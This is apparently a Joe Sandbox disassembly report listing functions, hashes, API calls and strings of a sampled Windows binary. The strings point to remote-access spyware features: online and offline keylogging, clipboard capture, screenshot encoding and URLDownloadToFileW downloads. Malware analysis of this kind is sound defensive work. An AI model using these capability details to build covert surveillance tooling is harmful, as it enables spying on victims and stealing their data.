Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Window$SleepText$ForegroundLength
String ID: [ $ ]
API String ID: 3309952895-93608704
Opcode ID: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
Opcode Fuzzy Hash: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7FF Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON

Download Yara Rule

APIs

GetSystemTimes.KERNEL32(?,?,?), ref: 0041B815
Sleep.KERNEL32(000003E8), ref: 0041B820
GetSystemTimes.KERNEL32(?,?,?), ref: 0041B835
__aulldiv.LIBCMT ref: 0041B89C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: SystemTimes$Sleep__aulldiv
String ID:
API String ID: 188215759-0
Opcode ID: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
Instruction ID: 72b4c32e7059473e424b83a6cc96647c38f9827b21069785d395d2d8421d6a64
Opcode Fuzzy Hash: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
Instruction Fuzzy Hash: B0113D7A5083456BD304FAB5CC85DEB7BACEAC4654F040A3EF54A82051FE68EA4886A5

Uniqueness

Uniqueness Score: -1.00%

Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568

Uniqueness

Uniqueness Score: -1.00%

Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169

Uniqueness

Uniqueness Score: -1.00%

Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
GetLastError.KERNEL32(?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4B2
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4D7
CloseHandle.KERNEL32(00000000,?,00000000,0040412F,00465E74), ref: 0041C4E5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
Opcode Fuzzy Hash: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A

Uniqueness

Uniqueness Score: -1.00%

Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0043987A

Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC

_UnwindNestedFrames.LIBCMT ref: 00439891
___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
CallCatchBlock.LIBVCRUNTIME ref: 004398C7

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 004193F0
GetSystemMetrics.USER32(0000004D), ref: 004193F6
GetSystemMetrics.USER32(0000004E), ref: 004193FC
GetSystemMetrics.USER32(0000004F), ref: 00419402

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785

Uniqueness

Uniqueness Score: -1.00%

Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B

Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F

Uniqueness

Uniqueness Score: -1.00%

Function 00449E3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(000000FF,00000000,00000006,00000001,?,?,00000000,?,00000000,?,?,00000000,00000006,?,?,?), ref: 00449F0F
GetLastError.KERNEL32 ref: 00449F2B

Strings

PkGNG, xrefs: 00449E3E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: PkGNG
API String ID: 203985260-263838557
Opcode ID: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
Instruction ID: 5218313022fb824330162c1b3e1e252a07855a0508c927524b2412b0d5c8e50b
Opcode Fuzzy Hash: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
Instruction Fuzzy Hash: A531F831600205EBEB21EF56C845BAB77A8DF55711F24416BF9048B3D1DB38CD41E7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00418A92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00418ABE

Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A

SHCreateMemStream.SHLWAPI(00000000), ref: 00418B0B

Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD

Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682

Strings

image/jpeg, xrefs: 00418AD5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Stream$GdipImage$Create$DisposeFromLoadSave
String ID: image/jpeg
API String ID: 1291196975-3785015651
Opcode ID: 8883413a241ecd6daa78ef1183ec8e175d09e4f7b2134cb7e7ff04ec22b53db4
Instruction ID: 71c7567624fb1f0fb67e5b365d5baafb3eed0516d04e2b9615b8e3d4f66a2876
Opcode Fuzzy Hash: 8883413a241ecd6daa78ef1183ec8e175d09e4f7b2134cb7e7ff04ec22b53db4
Instruction Fuzzy Hash: 13317F71504300AFC301EF65CC84DAFB7E9FF8A704F00496EF985A7251DB7999448BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

__Init_thread_footer.LIBCMT ref: 0040B797

Strings

[End of clipboard], xrefs: 0040B7D9
[Text copied to clipboard], xrefs: 0040B7E6

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: [End of clipboard]$[Text copied to clipboard]
API String ID: 1881088180-3686566968
Opcode ID: 324d16734c00dd0800ed2bf7710d2d62d1c0e2a3751a5b5203366b445deaa986
Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
Opcode Fuzzy Hash: 324d16734c00dd0800ed2bf7710d2d62d1c0e2a3751a5b5203366b445deaa986
Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12

Strings

ACP, xrefs: 00451B55
OCP, xrefs: 00451B8B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C

Uniqueness

Uniqueness Score: -1.00%

Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB6E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B7DB
GetLastError.KERNEL32 ref: 0044B804

Strings

PkGNG, xrefs: 0044B733

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: PkGNG
API String ID: 442123175-263838557
Opcode ID: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
Opcode Fuzzy Hash: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB8E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B6ED
GetLastError.KERNEL32 ref: 0044B716

Strings

PkGNG, xrefs: 0044B654

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: PkGNG
API String ID: 442123175-263838557
Opcode ID: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
Opcode Fuzzy Hash: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00418B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00418BAA

Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A

SHCreateMemStream.SHLWAPI(00000000,00000000,00000000,?,?,?,?,00000000), ref: 00418BCF

Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD

Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682

Strings

image/png, xrefs: 00418BC1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Stream$GdipImage$Create$DisposeFromLoadSave
String ID: image/png
API String ID: 1291196975-2966254431
Opcode ID: 6411a8012ecf1a64a1773f4eaa23e3f4fcdf1f742ac8238d8550c3e8c78666f9
Instruction ID: c6f894421d6f6d4ca6915e56eba1d7ff3797fde04a376feef2065c2e579c4a83
Opcode Fuzzy Hash: 6411a8012ecf1a64a1773f4eaa23e3f4fcdf1f742ac8238d8550c3e8c78666f9
Instruction Fuzzy Hash: 30219371204211AFC705EB61CC88CBFBBADEFCA754F10092EF54693161DB399945CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087

Strings

KeepAlive | Enabled | Timeout: , xrefs: 0040501F

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 481472006-1507639952
Opcode ID: 23b0d405c7df8ea3eb93e7c73b3042e9bf9b9ce6517dcb05167bfa0c68009315
Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
Opcode Fuzzy Hash: 23b0d405c7df8ea3eb93e7c73b3042e9bf9b9ce6517dcb05167bfa0c68009315
Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF

Uniqueness

Uniqueness Score: -1.00%

Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00416640
URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DownloadFileSleep
String ID: !D@
API String ID: 1931167962-604454484
Opcode ID: 67dfb507ba3ddc82345b7865ce065edb943c59958e882518e560ee8acae80623
Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
Opcode Fuzzy Hash: 67dfb507ba3ddc82345b7865ce065edb943c59958e882518e560ee8acae80623
Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C

Strings

alarm.wav, xrefs: 0041AD27
hYG, xrefs: 0041AD46

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: alarm.wav$hYG
API String ID: 1174141254-2782910960
Opcode ID: 03e35b0c78ecaf780253322939ef9894f1bf68fcbaf7cdf3e29ba7f04c14b924
Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
Opcode Fuzzy Hash: 03e35b0c78ecaf780253322939ef9894f1bf68fcbaf7cdf3e29ba7f04c14b924
Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

CloseHandle.KERNEL32(?), ref: 0040B0B4
UnhookWindowsHookEx.USER32 ref: 0040B0C7

Strings

Online Keylogger Stopped, xrefs: 0040B061, 0040B069, 0040B090

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
String ID: Online Keylogger Stopped
API String ID: 1623830855-1496645233
Opcode ID: bec78cf3eedf1b186c8e89cd18ae9734a19b2f7b120e1a552bb6b5e0ab87ed89
Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
Opcode Fuzzy Hash: bec78cf3eedf1b186c8e89cd18ae9734a19b2f7b120e1a552bb6b5e0ab87ed89
Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE

Uniqueness

Uniqueness Score: -1.00%

Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,73E85006,00000001,?,0043CE55), ref: 00448C24

Strings

PkGNG, xrefs: 00448BB5
LCMapStringEx, xrefs: 00448BCE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: String
String ID: LCMapStringEx$PkGNG
API String ID: 2568140703-1065776982
Opcode ID: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
Opcode Fuzzy Hash: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99

Uniqueness

Uniqueness Score: -1.00%

Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

